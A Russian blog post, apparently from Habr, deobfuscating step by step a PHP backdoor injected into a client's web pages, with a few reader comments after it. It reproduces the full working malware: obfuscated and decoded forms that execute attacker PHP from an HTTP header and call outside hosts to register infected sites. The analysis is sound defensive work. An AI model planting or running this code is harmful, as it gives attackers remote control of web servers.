Деобфускация одного зловредного кода

    Новый клиент захотел перенести свой сайт, состоящий из сотен статичных страничек на систему управления контентом, а заодно и к нам на хостинг. Прежде чем переносить сайт была проведена беглая проверка и обнаружен код, находящийся в начале каждой страницы:

    /*versio:2.19*/$QQO0=95850;if (!function_exists('QQ00OOO0')){$GLOBALS['QQO0'] = 'AsY3VybAaX2luaXQWywYWxsb3dfdXJsX2ZvcGVu?#MQ(G~aHR0cDovLwwVeJndheT1maWxlX2dldF9jb250ZW50cw_=X3NldG9wdATX2V4ZWMqJndheT1jdXJssyiuQLwZOHhb3Nvbi5pbghP%cnllcGR4LmNvbQ{cGhwYWlkZS5jb20_k!dwWV8zOgNtYZGlzcGxheV9lcnJvcnMZGV0ZXJtaW5hdG9ytZnRwMTMdIMi4xOQUU9PMDBPUVFRUTAXfHYmFzZTY0X2RlY29kZQeLF~XsYmFzZTY0X2VuY29kZQVGSFRUUFMemoLb2ZmaHR0cHM6Ly8Mp*vo&SFRUUF9IT1NUDE^.dW5pb24$c2VsZWN0^{&UkVRVUVTVF9VUkkDGU0NSSVBUX05BTUUqNctUVVFUllfU1RSSU5HPwGNSL3RtcC8uZm9udC11bml4NmsL3RtcC8uSUNFLXVuaXgdtVE1QAYVEVNUA_SVE1QRElSL3RtcAqT^dXBsb2FkX3RtcF9kaXI(dG1wOd3AtY29udGVudC91cGxvYWRzVnd3AtY29udGVudC9jYWNoZQZmLgT?admVyc2lvNLQILXBocAWSFRUUF9FWEVDUEhQpb3V0jb2sTSFRUUF9VU0VSX0FHRU5Uc%LAF*Z29vZ2xlLHlhaG9vLGJpbmcsbXNuYm90LGFzayxiYWlkdSx5YW5kZXgZiL3BnLnBocD91PQ!Jms9AJnQ9cGhwJnA9JnY9ZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5VlYyMXYya2dRL2lzYkZFVzI1UHE4TmdaeU9aOUFMV2tzNVhBZ3BGTFZJb3ZDMGxnMWRtU2JTNnNvLy8xbTlvVmRFcE83Z3crWW5kbDVuMmZHMllaWUoydTJ5UXEydGpwcjFyQnFteFhMcHF3NnR2MUVOcnRpMVdSbFFVeEt1bUhseGpxTll4cm51VVBPVG1OS2FSeVRpRXp1cnE5dDhrVDB5VFpiVldXVGJablZWRHRtWDVDS05idXFJS1lJT0gzV21yNnpacFBsREloNVRQUFlJYWRUejB1U3FZMWk0VU1waUozeXM4U3pmSWYwNEQ0d3d3Y1ZTaDUzejNIdWtENXdETE1pUzJ2V1dIc0NCWXJ2MlE2aFFNNGdEcHpsZXd1TFRTSkRaWmZDb2EzZHBORVFEY2FiNmFvc0dsWTB0UmJSN1lFQ3p5WXVrUTdoay9ESTFUSkRVQlNBb24xOHBHaU1ETXRyaHVhcENLWHNaMWFEQ3VrenB1bDBPazFBRnJnL2xLY1dCZ1drZy96V29GQnVGUVlPdE1TdGdhT2VMME1uQlZsU2pVUGUzODJ1azV0NUNqOE8rWit1VWdvQ3FHKy9LZmhxUFBvd25qbWJKZmorSnVOc1BMK2JUZWF6MGVUMkVpN0lJanZPL3o2WlRNYnY1L1A0cjNGeU4zZElLSXBIVnV0UWhrUGRRMUdyWFpXbnE3eXNtWEdLK1dEYmgrYVhKUzlERnJRWTdhc2ZPQVQ0bjNWYU9ZOUtLNjhoM2dPb2ZGT1hxeC9sQXl0MDdRODhyUC9FbTNvSlBrdzllQlpHb3dXcWY3aVlIQ1RUTnVYa3NEL0JwYzNEanRlUGJPRE94L0djUE1sTVBaODlMbjlGYUFscnlOVjhmdk1iZGIydjFkZmlxcXliMzhtVE5PMFpqenE4eUpLcEtMS2JxNXMwdVRYcXgrOWpvN2g0L21rOHU0MlRTWXZ1dTVwVjcwYmZvV2xRdUJER2hTc0ZqL2VJQmlkdkFKRDB6eVpuWjhSNkFUamtuU2IvQWRib1NMa1ljZWhad3hqcUR6Z1dEVGN5MzN0OGd1QWtZQnQ0eVg0KzVPV2FXWjI5alk0U0NYeTdBaUZHY24veEZycWhzMjNMUGNISGRlSVhxeVBudFRDcXF1VXZBNGVDZ0xlVzBXeVVkMXYzNEtpSFhSMWlaKzNSOUxIS0dpeGNvSHVlYzhwNVBZZ0NMeC80QXdTQUwxRjBra25MNjU5enBBUDI0VVlKNGxmMmdpNTByQVJGK3JMWFgrNGFTRGluZXRNcGR4bXVKaUNTcmU1THcvWUIyQjdZcm1RMHFtZ1E4aXFTRjEwZXZ3N1BVZ3VpSTdTYzI2THN4VlRUVk44RGQyaFBBcjRvZHkvU1pMOG40QTdyQmFEUW9BU2huREpUN3FSQjZZcUlTMUppa2hEUzZVQm9RdHd3U0lOQWtVUXpSUzhoVkxSM1Z2TmlTbS9ITStpZkwzdW13QXZRMG9VdDh6Zzh6a0pPREVBSWFOY2hYVnYwd0tIZWdBNUFNWlhaazJRM3FwdXFLZlB5a1ZXdFNqQXVnT1JZNVp1eVlzdlZQUlJWaW1peXJJbk1aUFNuVGprYUN5SWZ5dHFTaDdyWWdwQ2l4WWlqS09HTHZMNklXc0JVVGNUanNpRDJnLzhtNnhtc3NrNk9ocnJ2OFFRdnhMdy9UdWZENHpWNTBCZGtUR2hiQ0x0ZWo5Zms0dC9FdStZQzR2dllFakJkMzVJb1VpbjZIS1lXbExwS2E1dWhlejlGY1FBS1JjUHRPbFNUeUpWTjRVcVFsNTNBU3hnK09ZM1dXVlVzQVhYVDlESytIcWVwN1g2SVp6QnBrOWxuMEhZem1vM2drZmZKVkFDcGdEalRxNzdjeC9SUnFQcTV6ZEUreFdwZUhDSDJzV1VGY1R6NWRPVGFJUVdSWnRCK1IwblRSK2NCSGpuazlkSVk0dDRFVnR1T0NvNUdzeEJUMTIybm9QdnRwQkIwK1Q2UURocE5SaEpiRGJjVzJBUkZoNTJveFVRYzhveFMwYyt0S1JHcmI1MGl3aSsvOGMzYnVNbHQ0ZXNoUDd3ZzMwRC9qLzNFYXJZUDBXdUQrMkx5eTBxNmVJRlNIVndyMHMvcDZHNSsxVmxFa1dSVE0wRWgvRkRPRGkxMjRHT0NISVhRaHNKenFvWUVncnBKNkdLYTFMNkVteFJBa2dUcnRvYnNlVlEySkU0OTl2Y3lWN2RBeHR2bTlSQkREd1p5RDFFbXNEbXF3dExlV0I1L1ZBRVhyemtRUWE2cktYZXJlL0dYdjYyczh0MmFwV1d4WXVwUUFOOFRVZjA4aE0yVUZTdmNLdVNSbkRZZWI3RGgyK2pkay8xMmdONXF1OUZjWGI0RG1FNWhOWWF3WmNqS3c0WDJOYmFEQ2M2ZWVoSkZsM3lUbC9QS2NKVy92UERGMDF4ZCsvd2RvWXNKNVg3cGhQYjlFSU9zU3NzZ0JPSzE0blVOOUx1K3ZNS3JSZ3o0bk8vRHhyc21MbDZ3c09uWHpZc1hLWGsrckh6NC9nTW1uZzRIIikpKTscRcHJlZ19yZXBsYWNl';function QQ00OOO0($a, $b){$c=$GLOBALS['QQO0']; $d=pack('H*','6261736536345f6465636f'.'6465'); return $d(substr($c, $a, $b));};$QQQ00QOO0 = QQ00OOO0(3375, 16);$QQQ00QOO0("/Q00OQOQQ0/e", QQ00OOO0(746, 2627), "Q00OQOQQ0");};
    

    Нужно привести код к нормальному виду и выяснить что же он делает:
    $QQO0=95850;
    if (!function_exists('QQ00OOO0')) {
    	$GLOBALS['QQO0'] = 'длинная строка в base64';
    	function QQ00OOO0($a, $b){
    		$c=$GLOBALS['QQO0']; 
    		$d=pack('H*','6261736536345f6465636f'.'6465'); 
    		return $d(substr($c, $a, $b));
    	};
    	$QQQ00QOO0 = QQ00OOO0(3375, 16);
    	$QQQ00QOO0("/Q00OQOQQ0/e", QQ00OOO0(746, 2627), "Q00OQOQQ0");
    };
    

    Всё правильно, даже зловредный код не должен выдавать ошибок, поэтому злоумышленник проверяет, не определена ли ранее функция QQ00OOO0.
    pack('H*','6261736536345f6465636f'.'6465')
    

    это всего лишь base64_decode. Поэтому функция QQ00OOO0 берет кусок нашей длинной-длиной строки, обрезает его в соответствии с входными параметрами и декодирует из base64.
    Теперь нам ясно, что
    $QQQ00QOO0 = QQ00OOO0(3375, 16);
    

    — preg_replace.
    QQ00OOO0(746, 2627) из нашей длинной строки вырезает подстроку и получает
    eval(gzuncompress(base64_decode("eJyVV21v2kgQ/isbFEW25Pq8NgZyOZ9ALWks5XAgpFLVIovC0lg1dmSbS6so//1m9oVdEpO7gw+Yndl5n2fG2YZYJ2u2yQq2tjpr1rBqmxXLpqw6tv1ENrti1WRlQUxKumHlxjqNYxrnuUPOTmNKaRyTiEzurq9t8kT0yTZbVWWTbZnVVDtmX5CKNbuqIKYIOH3Wmr6zZpPlDIh5TPPYIadTz0uSqY1i4UMpiJ3ys8SzfIf04D4wwwcVSh53z3HukD5wDLMiS2vWWHsCBYrv2Q6hQM4gDpzlewuLTSJDZZfCoa3dpNEQDcab6aosGlY0tRbR7YECzyYukQ7hk/DI1TJDUBSAon18pGiMDMtrhuapCKXsZ1aDCukzpul0Ok1AFrg/lKcWBgWkg/zWoFBuFQYOtMStgaOeL0MnBVlSjUPe382uk5t5Cj8O+Z+uUgoCqG+/KfhqPPownjmbJfj+JuNsPL+bTeaz0eT2Ei7IIjvO/z6ZTMbv5/P4r3FyN3dIKIpHVutQhkPdQ1GrXZWnq7ysmXGK+WDbh+aXJS9DFrQY7asfOAT4n3VaOY9KK68h3gOofFOXqx/lAyt07Q88rP/Em3oJPkw9eBZGowWqf7iYHCTTNuXksD/Bpc3DjtePbODOx/GcPMlMPZ89Ln9FaAlryNV8fvMbdb2v1dfiqqyb38mTNO0Zjzq8yJKpKLKbq5s0uTXqx+9jo7h4/mk8u42TSYvuu5pV70bfoWlQuBDGhSsFj/eIBidvAJD0zyZnZ8R6ATjknSb/AdboSLkYcehZwxjqDzgWDTcy33t8guAkYBt4yX4+5OWaWZ29jY4SCXy7AiFGcn/xFrqhs23LPcHHdeIXqyPntTCqquUvA4eCgLeW0WyUd1v34KiHXR1iZ+3R9LHKGixcoHuec8p5PYgCLx/4AwSAL1F0kknL659zpAP24UYJ4lf2gi50rARF+rLXX+4aSDinetMpdxmuJiCSre5Lw/YB2B7YrmQ0qmgQ8iqSF10evw7PUguiI7Sc26LsxVTTVN8Dd2hPAr4ody/SZL8n4A7rBaDQoAShnDJT7qRB6YqIS1JikhDS6UBoQtwwSINAkUQzRS8hVLR3VvNiSm/HM+ifL3umwAvQ0oUt8zg8zkJODEAIaNchXVv0wKHegA5AMZXZk2Q3qpuqKfPykVWtSjAugORY5ZuyYsvVPRRVimiyrInMZPSnTjkaCyIfytqSh7rYgpCixYijKOGLvL6IWsBUTcTjsiD2g/8m6xmssk6Ohrrv8QQvxLw/TufD4zV50BdkTGhbCLtej9fk4t/Eu+YC4vvYEjBd35IoUin6HKYWlLpKa5uhez9FcQAKRcPtOlSTyJVN4UqQl53ASxg+OY3WWVUsAXXT9DK+Hqep7X6IZzBpk9ln0HYzmo3gkffJVACpgDjTq77cx/RRqPq5zdE+xWpeHCH2sWUFcTz5dOTaIQWRZtB+R0nTR+cBHjnk9dIY4t4EVtuOCo5GsxBT122noPvtpBB0+T6QDhpNRhJbDbcW2ARFh52oxUQc8oxS0c+tKRGrb50iwi+/8c3buMlt4eshP7wg30D/j/3EarYP0WuD+2Lyy0q6eIFSHVwr0s/p6G5+1VlEkWRTM0Eh/FDODi124GOCHIXQhsJzqoYEgrpJ6GKa1L6EmxRAkgTrtobseVQ2JE499vcyV7dAxtvm9RBDDwZyD1EmsDmqwtLeWB5/VAEXrzkQQa6rKXere/GXv62s8t2apWWxYupQAN8TUf08hM2UFSvcKuSRnDYeb7Dh2+jdk/12gN5qu9FcXb4DmE5hNYawZcjKw4X2NbaDCc6eehJFl3yTl/PKcJW/vPDF01xd+/wdoYsJ5X7phPb9EIOsSssgBOK14nUN9Lu+vMKrRgz4nO/DxrsmLl6wsOnXzYsXKXk+rHz4/gMmng4H")));
    

    Как мы видим, в итоге все сводится к выполнению кода, полученного выше. Попробуем разобрать что же делает этот код.
    Вот что мы получим после декодирования:
    if (!defined("determinator")){ function determinator_feof($II1Ill, &$I111II = NULL) { $I111II = microtime(true); return feof($II1Ill); } function getfile($IlI1lI, $Q00OOQ){ $IIII11 = QQ00OOO0(2, 6); $IllllI = $IIII11.QQ00OOO0(9, 7); @ini_set(QQ00OOO0(19, 20), 1); if (@ini_get(QQ00OOO0(19, 20)) == QQ00OOO0(41, 2)) { $I111I1=@file_get_contents(QQ00OOO0(46, 10) . $IlI1lI . $Q00OOQ. QQ00OOO0(59, 30)); return $I111I1; } elseif (function_exists($IllllI)){ $QQOQQ0 = @$IllllI(); $Q0000O = $IIII11.QQ00OOO0(91, 10); $I1I1II = $IIII11.QQ00OOO0(102, 7); @$Q0000O($QQOQQ0, CURLOPT_URL, QQ00OOO0(46, 10) . $IlI1lI . $Q00OOQ. QQ00OOO0(110, 12)); @$Q0000O($QQOQQ0, CURLOPT_HEADER,false); @$Q0000O($QQOQQ0, CURLOPT_RETURNTRANSFER,true); @$Q0000O($QQOQQ0, CURLOPT_CONNECTTIMEOUT, 5); $Il11II = @$I1I1II($QQOQQ0); @curl_close($QQOQQ0); if (empty($Il11II)){$Il11II = QQ00OOO0(123, 0);} return $Il11II; } else { $II1Ill = @fsockopen($IlI1lI, 80, $QO0Q0O, $QQ0QO0, 5); if ($II1Ill) { $Ill111 = QQ00OOO0(123, 0); $I111II = NULL; @fputs($II1Ill, "GET {$Q00OOQ}&way=socket HTTP/1.0\r\nHost: {$IlI1lI}\r\n"); $QOQ00O = PHP_OS.QQ00OOO0(127, 2).PHP_VERSION; @fputs($II1Ill, "User-Agent: {$QOQ00O}\r\n\r\n"); while(!determinator_feof($II1Ill, $I111II) && (microtime(true) - $I111II) < 2){ $Ill111 .= @fgets($II1Ill, 128); } @fclose($II1Ill); $Q0OQOQ = explode("\r\n\r\n", $Ill111); unset($Q0OQOQ[0]); return implode("\r\n\r\n", $Q0OQOQ); } } } $Il1lll = Array(QQ00OOO0(133, 10), QQ00OOO0(146, 14), QQ00OOO0(161, 15)); function write($QOO000,$QQ00O0){ if ($Q00QOO=@fopen($QOO000,QQ00OOO0(179, 2))){ @fwrite($Q00QOO,$QQ00O0); @fclose($Q00QOO); } } function output($Q000QQ, $Q0QQ0O){ echo QQ00OOO0(181, 3).$Q000QQ.QQ00OOO0(185, 2).$Q0QQ0O."\r\n"; } @ini_set(QQ00OOO0(190, 19), 0); define(QQ00OOO0(209, 16), 1); $Q00OO0=QQ00OOO0(226, 7); $I11III=QQ00OOO0(235, 6); $QQ00QO=QQ00OOO0(241, 15); $QQ00OO=QQ00OOO0(259, 18); $Q0QQOQ=QQ00OOO0(283, 18); $IlI1lI=QQ00OOO0(46, 10); if (isset($_SERVER[QQ00OOO0(303, 7)])){ if (@$_SERVER[QQ00OOO0(303, 7)] != QQ00OOO0(314, 4)){ $IlI1lI=QQ00OOO0(318, 11); } } $IlI1lI.=strtolower(@$_SERVER[QQ00OOO0(335, 12)]); foreach ($_GET as $Q000QQ=>$Q0QQ0O){ if (strpos($Q0QQ0O,QQ00OOO0(351, 7))){$_GET[$Q000QQ]=QQ00OOO0(123, 0);} elseif (strpos($Q0QQ0O,QQ00OOO0(359, 8))){$_GET[$Q000QQ]=QQ00OOO0(123, 0);} } if(!isset($_SERVER[QQ00OOO0(370, 15)])) { $_SERVER[QQ00OOO0(370, 15)] = @$_SERVER[QQ00OOO0(387, 15)]; if(@$_SERVER[QQ00OOO0(406, 16)]) { $_SERVER[QQ00OOO0(370, 15)] .= QQ00OOO0(422, 2) . @$_SERVER[QQ00OOO0(406, 16)]; } } if ($QOQQO0=$IlI1lI.@$_SERVER[QQ00OOO0(370, 15)]){ $IlIlll=@md5($IlI1lI.$I11III.PHP_OS.$QQ00QO); $IIIIl1=dirname(__FILE__).DIRECTORY_SEPARATOR; $QQQQOQ = Array( QQ00OOO0(427, 20), QQ00OOO0(450, 19), @$_SERVER[QQ00OOO0(471, 4)], @$_SERVER[QQ00OOO0(477, 6)], @$_ENV[QQ00OOO0(471, 4)], @$_ENV[QQ00OOO0(485, 8)], @$_ENV[QQ00OOO0(477, 6)], QQ00OOO0(493, 6), @ini_get(QQ00OOO0(502, 19)), $IIIIl1.QQ00OOO0(522, 4), $IIIIl1.QQ00OOO0(527, 24), $IIIIl1.QQ00OOO0(553, 22), ); foreach ($QQQQOQ as $I1I1lI){ if (!empty($I1I1lI)){ $I1I1lI.=DIRECTORY_SEPARATOR; if (@is_writable($I1I1lI)){ $IIIIl1 = $I1I1lI; break; } } } $tmp=$IIIIl1.QQ00OOO0(577, 2).$IlIlll; if (@$_SERVER["HTTP_Y_AUTH"]==$IlIlll){ echo "\r\n"; @output(QQ00OOO0(582, 8), $I11III.QQ00OOO0(591, 2).$Q00OO0.QQ00OOO0(594, 6)); if ($QO0QQQ=$QQ00OO(@$_SERVER[QQ00OOO0(601, 16)])){ @eval($QO0QQQ); echo "\r\n"; @output(QQ00OOO0(618, 4), QQ00OOO0(623, 3)); } exit(0); } if (@is_file($tmp)){ @touch($tmp); @include_once($tmp); } else{ $QOQQO0=@urlencode($QOQQO0); $Q0Q0OQ = @strtolower(@$_SERVER[QQ00OOO0(627, 20)]); foreach (explode(QQ00OOO0(649, 2), QQ00OOO0(653, 55)) as $I1l11I){ if (strpos($Q0Q0OQ, $I1l11I)!==False){ if (@touch($tmp)){ $Q00OOQ = QQ00OOO0(710, 14).$QOQQO0.QQ00OOO0(725, 4).$IlIlll.QQ00OOO0(730, 12).$Q00OO0.QQ00OOO0(742, 4).$I11III; $I11lII = getfile($Il1lll[0], $Q00OOQ); @touch($tmp); } break; } } } } }
    

    Понятного стало еще меньше, однако попробуем выяснить что же делает данный код. Нужно его отформатировать и сделать самое простое, что мы можем сделать: все вызовы QQ00OOO0(число, число) заменить строками, которые выдает данная функция.
    Мы становимся на шаг ближе к тому, что же делает этот исходный код:
    <?php 
    if (!defined("determinator")){ 
    	function determinator_feof($II1Ill, &$I111II = NULL) { 
    		$I111II = microtime(true); 
    		return feof($II1Ill); 
    	} 
    	function getfile($IlI1lI, $Q00OOQ){ 
    		"curl" = curl; 
    		$IllllI = "curl"."_init"; 
    		@ini_set("allow_url_fopen", 1); 
    		if (@ini_get("allow_url_fopen") == "1") { 
    			$I111I1=@file_get_contents("http://" . $IlI1lI . $Q00OOQ. "&way=file_get_contents"); 
    			return $I111I1; 
    		} elseif (function_exists($IllllI)){ 
    			$QQOQQ0 = @$IllllI(); 
    			$Q0000O = "curl"."_setopt"; 
    			$I1I1II = "curl"."_exec"; 
    			@$Q0000O($QQOQQ0, CURLOPT_URL, "http://" . $IlI1lI . $Q00OOQ. "&way=curl"); 
    			@$Q0000O($QQOQQ0, CURLOPT_HEADER,false); 
    			@$Q0000O($QQOQQ0, CURLOPT_RETURNTRANSFER,true); 
    			@$Q0000O($QQOQQ0, CURLOPT_CONNECTTIMEOUT, 5); 
    			$Il11II = @$I1I1II($QQOQQ0); 
    			@curl_close($QQOQQ0); 
    			if (empty($Il11II)){
    				$Il11II = "";
    			} 
    		return $Il11II; 
    	} else { 
    		$II1Ill = @fsockopen($IlI1lI, 80, $QO0Q0O, $QQ0QO0, 5); 
    		if ($II1Ill) { 
    			$Ill111 = ""; 
    			$I111II = NULL; 
    			@fputs($II1Ill, "GET {$Q00OOQ}&way=socket HTTP/1.0\r\nHost: {$IlI1lI}\r\n"); 
    			$QOQ00O = PHP_OS."/".PHP_VERSION; 
    			@fputs($II1Ill, "User-Agent: {$QOQ00O}\r\n\r\n"); 
    			while(!determinator_feof($II1Ill, $I111II) && (microtime(true) - $I111II) < 2){ 
    				$Ill111 .= @fgets($II1Ill, 128); 
    			} @fclose($II1Ill); 
    			$Q0OQOQ = explode("\r\n\r\n", $Ill111); 
    			unset($Q0OQOQ[0]); 
    			return implode("\r\n\r\n", $Q0OQOQ); 
    		} 
    	} 
    } 
    $Il1lll = Array("oson.in", "ryepdx.com", "phpaide.com"); 
    
    function write($QOO000,$QQ00O0){ 
    	if ($Q00QOO=@fopen($QOO000,"w")){ 
    		@fwrite($Q00QOO,$QQ00O0); 
    		@fclose($Q00QOO); 
    	} 
    } 
    
    function output($Q000QQ, $Q0QQ0O) { 
    	echo "Y_".$Q000QQ.":".$Q0QQ0O."\r\n"; } 
    	@ini_set("display_errors", 0); 
    	define("determinator", 1); 
    	$Q00OO0="ftp13"; 
    	$I11III="2.19"; 
    	$QQ00QO="QOO00OQQQQ0"; 
    	$QQ00OO="base64_decode"; 
    	$Q0QQOQ="base64_encode"; 
    	$IlI1lI="http://"; 
    	if (isset($_SERVER["HTTPS"])){ 
    		if (@$_SERVER["HTTPS"] != "off"){ 
    			$IlI1lI="https://"; 
    		} 
    	} 
    	$IlI1lI.=strtolower(@$_SERVER["HTTP_HOST"]); 
    	foreach ($_GET as $Q000QQ=>$Q0QQ0O){ 
    		if (strpos($Q0QQ0O,"union")){
    			$_GET[$Q000QQ]="";
    		} elseif (strpos($Q0QQ0O,"select")){
    			$_GET[$Q000QQ]="";
    		} 
    	} 
    	if(!isset($_SERVER["REQUEST_URI"])) { 
    		$_SERVER["REQUEST_URI"] = @$_SERVER["SCRIPT_NAME"]; 
    		if(@$_SERVER["QUERY_STRING"]) { 
    			$_SERVER["REQUEST_URI"] .= "?" . @$_SERVER["QUERY_STRING"]; 
    		} 
    	} 
    	if ($QOQQO0=$IlI1lI.@$_SERVER["REQUEST_URI"]){ 
    		$IlIlll=@md5($IlI1lI.$I11III.PHP_OS.$QQ00QO); 
    		$IIIIl1=dirname(__FILE__).DIRECTORY_SEPARATOR; 
    		$QQQQOQ = Array( "/tmp/.font-unix", "/tmp/.ICE-unix", @$_SERVER["TMP"], @$_SERVER["TEMP"], @$_ENV["TMP"], @$_ENV["TMPDIR"], @$_ENV["TEMP"], "/tmp", @ini_get("upload_tmp_dir"), $IIIIl1."tmp", $IIIIl1."wp-content/uploads", $IIIIl1."wp-content/cache", ); 
    		foreach ($QQQQOQ as $I1I1lI){ 
    			if (!empty($I1I1lI)){ 
    				$I1I1lI.=DIRECTORY_SEPARATOR; 
    				if (@is_writable($I1I1lI)){ 
    					$IIIIl1 = $I1I1lI; break; 
    				} 
    			} 
    		} 
    		$tmp=$IIIIl1.".".$IlIlll; 
    		if (@$_SERVER["HTTP_Y_AUTH"]==$IlIlll){ 
    			echo "\r\n"; 
    			@output("versio", $I11III."-".$Q00OO0."-php"); 
    			if ($QO0QQQ=$QQ00OO(@$_SERVER["HTTP_EXECPHP"])){ 
    				@eval($QO0QQQ); 
    				echo "\r\n"; 
    				@output("out", "ok"); 
    			} 
    			exit(0); 
    		} 
    		
    		if (@is_file($tmp)){ 
    			@touch($tmp); 
    			@include_once($tmp); 
    		} else{ 
    			$QOQQO0=@urlencode($QOQQO0); 
    			$Q0Q0OQ = @strtolower(@$_SERVER["HTTP_USER_AGENT"]); 
    			foreach (explode(",", "google,yahoo,bing,msnbot,ask,baidu,yandex") as $I1l11I){ 
    				if (strpos($Q0Q0OQ, $I1l11I)!==False){ 
    					if (@touch($tmp)){ 
    						$Q00OOQ = "/pg.php?u=".$QOQQO0."&k=".$IlIlll."&t=php&p=".$Q00OO0."&v=".$I11III; 
    						$I11lII = getfile($Il1lll[0], $Q00OOQ); 
    						@touch($tmp); 
    					} 
    					break; 
    				} 
    			} 
    		} 
    	} 
    }
    


    Теперь нам необходимо заменить переменные вида $I1l11I на более понятные. В некоторых местах это сделать не получится, но тем не менее мы поймем что же в итоге делает скрипт. Некоторые переменные, например, $Q00OO0 — просто строки, поэтому их вхождения нужно найти и заменить их значением. Вот что получилось в итоге:

    if (!defined("determinator")) {
    	
    	function determinator_feof($II1Ill, &$microtime = NULL) {
    		$microtime = microtime(true);
    		return feof($II1Ill);
    	}
    	
    	function getfile($domain, $strURL) {
    		@ini_set("allow_url_fopen", 1);
    		if (@ini_get("allow_url_fopen") == "1") {
    			$I111I1=@file_get_contents("http://" . $domain . $strURL. "&way=file_get_contents");
    			return $I111I1;
    		} elseif (function_exists("curl_init")){
    			$objCURL = @curl_init();
    			@curl_setopt($objCURL, CURLOPT_URL, "http://" . $domain . $strURL. "&way=curl");
    			@curl_setopt($objCURL, CURLOPT_HEADER,false);
    			@curl_setopt($objCURL, CURLOPT_RETURNTRANSFER,true);
    			@curl_setopt($objCURL, CURLOPT_CONNECTTIMEOUT, 5);
    			$objCURLResult = @curl_exec($objCURL);
    			@curl_close($objCURL);
    			if (empty($objCURLResult)){
    				$objCURLResult = "";
    			}
    			return $objCURLResult;
    		} else {
    			$II1Ill = @fsockopen($domain, 80, $QO0Q0O, $QQ0QO0, 5);
    			if ($II1Ill) {
    				$Ill111 = "";
    				$microtime = NULL;
    				@fputs($II1Ill, "GET {$strURL}&way=socket HTTP/1.0\r\nHost: {$domain}\r\n");
    				$QOQ00O = PHP_OS."/".PHP_VERSION;
    				@fputs($II1Ill, "User-Agent: {$QOQ00O}\r\n\r\n");
    				while(!determinator_feof($II1Ill, $microtime) && (microtime(true) - $microtime) < 2){
    					$Ill111 .= @fgets($II1Ill, 128);
    				} @fclose($II1Ill);
    				$Q0OQOQ = explode("\r\n\r\n", $Ill111);
    				unset($Q0OQOQ[0]);
    				return implode("\r\n\r\n", $Q0OQOQ);
    			}
    		}
    	}
    	
    	$arrSites = Array("oson.in", "ryepdx.com", "phpaide.com");
    
    	function write($strFile,$strDataToWrite){
    		if ($objFileDescriptor=@fopen($strFile,"w")){
    			@fwrite($objFileDescriptor,$strDataToWrite);
    			@fclose($objFileDescriptor);
    		}
    	}
    
    	function output($strGETKey, $strGETValue) {
    		echo "Y_".$strGETKey.":".$strGETValue."\r\n"; 
    	}
    	
    	@ini_set("display_errors", 0);
    	define("determinator", 1);
    	if (isset($_SERVER["HTTPS"])){
    		if (@$_SERVER["HTTPS"] != "off"){
    			$strHost="https://";
    		}
    	}
    	$strHost.=strtolower(@$_SERVER["HTTP_HOST"]);
    	foreach ($_GET as $strGETKey=>$strGETValue){
    		if (strpos($strGETValue,"union")){
    			$_GET[$strGETKey]="";
    		} elseif (strpos($strGETValue,"select")){
    			$_GET[$strGETKey]="";
    		}
    	}
    	if(!isset($_SERVER["REQUEST_URI"])) {
    		$_SERVER["REQUEST_URI"] = @$_SERVER["SCRIPT_NAME"];
    		if(@$_SERVER["QUERY_STRING"]) {
    			$_SERVER["REQUEST_URI"] .= "?" . @$_SERVER["QUERY_STRING"];
    		}
    	}
    	if ($strFullURL="http://".@$_SERVER["REQUEST_URI"]) {
    		$strExploitedServerID=@md5("http://"."2.19".PHP_OS."QOO00OQQQQ0");
    		$strScriptDirectory=dirname(__FILE__).DIRECTORY_SEPARATOR;
    		$arrPotentiallyVulnDirectories = Array( "/tmp/.font-unix", "/tmp/.ICE-unix", @$_SERVER["TMP"], @$_SERVER["TEMP"], @$_ENV["TMP"], @$_ENV["TMPDIR"], @$_ENV["TEMP"], "/tmp", @ini_get("upload_tmp_dir"), $strScriptDirectory."tmp", $strScriptDirectory."wp-content/uploads", $strScriptDirectory."wp-content/cache", );
    		foreach ($arrPotentiallyVulnDirectories as $strPotentiallyVulnDirectory){
    			if (!empty($strPotentiallyVulnDirectory)){
    				$strPotentiallyVulnDirectory.=DIRECTORY_SEPARATOR;
    				if (@is_writable($strPotentiallyVulnDirectory)){
    					$strScriptDirectory = $strPotentiallyVulnDirectory; 
    					break;
    				}
    			}
    		}
    		
    		$tmp=$strScriptDirectory.".".$strExploitedServerID;
    		if (@$_SERVER["HTTP_Y_AUTH"]==$strExploitedServerID){
    			echo "\r\n";
    			@output("versio", "2.19"."-"."ftp13"."-php");
    			if ($strCommand = base64_decode(@$_SERVER["HTTP_EXECPHP"])){
    				@eval($strCommand);
    				echo "\r\n";
    				@output("out", "ok");
    			}
    			exit(0);
    		}
    
    		if (@is_file($tmp)){
    			@touch($tmp);
    			@include_once($tmp);
    		} else{
    			$strFullURL=@urlencode($strFullURL);
    			$strUserAgent = @strtolower(@$_SERVER["HTTP_USER_AGENT"]);
    			foreach (explode(",", "google,yahoo,bing,msnbot,ask,baidu,yandex") as $strSearchEngineAgent){
    				if (strpos($strUserAgent, $strSearchEngineAgent)!==False){
    					if (@touch($tmp)){
    						$strURL = "/pg.php?u=".$strFullURL."&k=".$strExploitedServerID."&t=php&p="."ftp13"."&v="."2.19";
    						$I11lII = getfile($arrSites[0], $strURL);
    						@touch($tmp);
    					}
    					break;
    				}
    			}
    		}
    	}
    }
    


    Итак, нам стало ясно, что же делает данный скрипт: if (!defined(«determinator»)) { — простой аналог include_once, так как плохие люди, видимо, не хотят, чтобы из-за выдачи ошибок их деятельность была видна.
    В скрипте используются несколько служебных функций (чтение/скачивание файла и запись в файл), при этом getfile вначале пытается получить содержимое через file_get_contents, в случае неудачи через curl и в самом крайнем случае через сокеты.
    В $arrSites хранится список сайтов, откуда скрипт получает данные, при этом владельцу ботнета сообщается о зараженном сайте как только на него придет робот одной из поисковых систем.
    Если же скрипт для выполнения уже есть, то он выполняется без каких-либо проверок.
    В итоге мы получили скрипт, который может выполнять полученные команды от ботовода и скачивать файлы.
    PS: уже после деофускации я нашел исходный код этого зловреда — gist.github.com/ryepdx/5016252.
    Поделиться публикацией

    Комментарии 11

      +50
      чем только не займешься, чтобы не делать основную работу )))
        0
        «Ведь я знаю, что у Штирлица всегда все сделано. Зачем же он так старательно пытается убедить меня в том, что на работе не делает нифига, кроде чтения Хабра и решения всяческих головоломок? Значит, он успевает работать быстрее, и у него остается время...»
          –2
          Нет, автор молодец. Удалить зловреда со страниц клиента — это правильная работа. Если, конечно, зловред не твой.

          Поставил бы плюс, если бы мог.
          +3
          У меня похожая штука была) Только там был die когда время будет определенное и написано обратится к прошлому разработчику =)
            +14
